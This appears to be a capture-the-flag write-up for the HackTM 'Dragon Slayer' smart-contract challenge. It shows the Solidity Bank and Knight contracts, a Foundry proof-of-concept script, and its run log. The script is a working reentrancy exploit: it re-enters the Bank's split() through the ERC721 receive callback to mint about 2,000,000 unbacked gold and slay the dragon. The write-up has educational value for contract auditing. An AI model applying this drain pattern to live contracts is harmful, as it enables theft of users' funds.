HackTM - Dragon Slayer

1
2
3

		function isSolved() external view returns (bool) {
        return knight.health() > 0 && knight.dragon().health() == 0;
    }

1
2
3

clawAttack = 1_000_000;
fireAttack = 10_000_000;
defence = 500_000;

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21

function fightDragon() public onlyOwner onlyAlive {
        (uint dragonDamage, bool isFire) = dragon.doAttack();
        _receiveAttack(dragonDamage, isFire);
        if (health > 0) {
            dragon.receiveAttack(attack);
        }
}

function _receiveAttack(uint damage, bool isFire) private {
        if (isFire && hasAntiFire) {
            return;
        }
        uint damageDone;
        if (damage > defence) {
            damageDone = damage - defence;
        }
        if (damageDone > health) {
            damageDone = health;
        }
        health -= damageDone;
 }

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.13;

import "./openzeppelin-contracts/utils/Counters.sol";

import "./GoldCoin.sol";
import "./BankNote.sol";

contract Bank {
    using Counters for Counters.Counter;

    uint constant INITIAL_AMOUNT = 10 ether;
    
    Counters.Counter private _ids;

    GoldCoin public goldCoin;
    BankNote public bankNote;
    mapping(uint => uint) public bankNoteValues;

    constructor() {
        goldCoin = new GoldCoin();
        bankNote = new BankNote();

        goldCoin.mint(msg.sender, INITIAL_AMOUNT);
    }

    function deposit(uint amount) external {
        require(amount > 0, "ZERO");

        goldCoin.burn(msg.sender, amount);

        _ids.increment();
        uint bankNoteId = _ids.current();

        bankNote.mint(msg.sender, bankNoteId);
        bankNoteValues[bankNoteId] = amount;
    }

    function withdraw(uint bankNoteId) external {
        require(bankNote.ownerOf(bankNoteId) == msg.sender, "NOT_OWNER");

        bankNote.burn(bankNoteId);
        goldCoin.mint(msg.sender, bankNoteValues[bankNoteId]);
        bankNoteValues[bankNoteId] = 0;
    }

    function merge(uint[] memory bankNoteIdsFrom) external {
        uint totalValue;

        for (uint i = 0; i < bankNoteIdsFrom.length; i++) {
            uint bankNoteId = bankNoteIdsFrom[i];

            require(bankNote.ownerOf(bankNoteId) == msg.sender, "NOT_OWNER");
            bankNote.burn(bankNoteId);
            totalValue += bankNoteValues[bankNoteId];
            bankNoteValues[bankNoteId] = 0;
        }

        _ids.increment();
        uint bankNoteIdTo = _ids.current();
        bankNote.mint(msg.sender, bankNoteIdTo);
        bankNoteValues[bankNoteIdTo] += totalValue;
    }

    function split(uint bankNoteIdFrom, uint[] memory amounts) external {
        uint totalValue;
        require(bankNote.ownerOf(bankNoteIdFrom) == msg.sender, "NOT_OWNER");

        for (uint i = 0; i < amounts.length; i++) {
            uint value = amounts[i];

            _ids.increment();
            uint bankNoteId = _ids.current();

            bankNote.mint(msg.sender, bankNoteId);
            bankNoteValues[bankNoteId] = value;
            totalValue += value;
        }

        require(totalValue == bankNoteValues[bankNoteIdFrom], "NOT_ENOUGH");
        bankNote.burn(bankNoteIdFrom);
        bankNoteValues[bankNoteIdFrom] = 0; 
    }

    function transferPartial(uint bankNoteIdFrom, uint amount, uint bankNoteIdTo) external {
        require(bankNote.ownerOf(bankNoteIdFrom) == msg.sender, "NOT_OWNER");
        require(bankNoteValues[bankNoteIdFrom] >= amount, "NOT_ENOUGH");

        bankNoteValues[bankNoteIdFrom] -= amount;
        bankNoteValues[bankNoteIdTo] += amount;
    }

    function transferPartialBatch(uint[] memory bankNoteIdsFrom, uint[] memory amounts, uint bankNoteIdTo) external {
        uint totalValue;

        for (uint i = 0; i < bankNoteIdsFrom.length; i++) {
            uint bankNoteId = bankNoteIdsFrom[i];
            uint value = amounts[i];

            require(bankNote.ownerOf(bankNoteId) == msg.sender, "NOT_OWNER");
            require(bankNoteValues[bankNoteId] >= value, "NOT_ENOUGH");

            bankNoteValues[bankNoteId] -= value;
        }

        bankNoteValues[bankNoteIdTo] += totalValue;
    }
}

1

require(bankNote.ownerOf(bankNoteIdFrom) == msg.sender, "NOT_OWNER");//This will check if you are owner of the bankNoteIdFrom 

1

require(bankNote.ownerOf(bankNoteIdFrom) == msg.sender, "NOT_OWNER");//This will check if you are owner of the bankNoteIdFrom 

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Script.sol";
import "forge-std/Test.sol";
import "src/Setup.sol";

contract PoC is Script, Test {
    uint256 internal increment;
    Setup S = new Setup();
    Knight K = Knight(S.knight());
    Dragon D = Dragon(S.knight().dragon());
    GoldCoin G = GoldCoin(S.knight().goldCoin());
    Shop Sh = Shop(S.knight().shop());
    Bank B = Bank(S.knight().bank());
    Item I = Item(S.knight().item());

    function setUp() public {}

    function run() public {
        S.claim();
        emit log_named_address("The Knight address", address(S.knight()));
        //emit log_named_uint("The Knight is alive", K.health() > 0);
        emit log_named_uint("Health of the knight", K.health());
        emit log_named_uint("Health of the Dragon", D.health());
        emit log_named_uint(
            "The number of gold piece of BANK",
            G.balanceOf(address(B)) / 1 ether
        );
        emit log_named_uint(
            "The number of gold piece",
            G.balanceOf(address(K)) / 1 ether
        );

        uint[] memory bankNoteIdsFrom = new uint[](1);
        uint[] memory amounts = new uint[](1);
        bankNoteIdsFrom[0] = 1;
        amounts[0] = 1;

        uint[] memory accounts = new uint[](0);
        B.merge(accounts);
        uint[] memory split_amount = new uint[](2);
        split_amount[0] = 2_000_000 * 1 ether;
        split_amount[1] = 0;
        B.split(1, split_amount);
    }

    function onERC721Received(
        address,
        address,
        uint256,
        bytes calldata
    ) public returns (bytes4) {
        if (increment == 0) {
            increment++;
            return this.onERC721Received.selector;
        }
        if (increment > 1) {
            B.bankNoteValues(2);
            B.withdraw(2);
            G.approve(address(Sh), type(uint256).max);
            Sh.buyItem(4);
            Sh.buyItem(3);
            I.safeTransferFrom(address(this), address(K), 3, 1, new bytes(0));
            I.safeTransferFrom(address(this), address(K), 4, 1, new bytes(0));
            K.equipItem(4);
            K.equipItem(3);
            K.fightDragon(); //Weird as fuck should one oneshot here
            K.fightDragon();
            K.sellItem(3);
            K.sellItem(4);
            emit log_named_uint(
                "The number of gold piece",
                G.balanceOf(address(K)) / 1 ether
            );
            K.bankDeposit(2_000_000 ether);
            K.bankTransferPartial(4, 2_000_000 ether, 1);

            emit log_named_uint("Health of the Dragon", D.health());
            emit log_named_uint("Health of the knight", K.health());
        }

        increment++;
        return this.onERC721Received.selector;
    }

    function onERC1155Received(
        address,
        address,
        uint256,
        uint256,
        bytes calldata
    ) public pure returns (bytes4) {
        return this.onERC1155Received.selector;
    }
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

Script ran successfully.
== Logs ==
  The Knight address: 0x7aacc5300ec7ac58fe86645d08f21b1becadf99a
  Health of the knight: 10
  Health of the Dragon: 1000000
  The number of gold piece of BANK: 0
  The number of gold piece: 10
  The number of gold piece: 2000010
  Health of the Dragon: 0
  Health of the knight: 10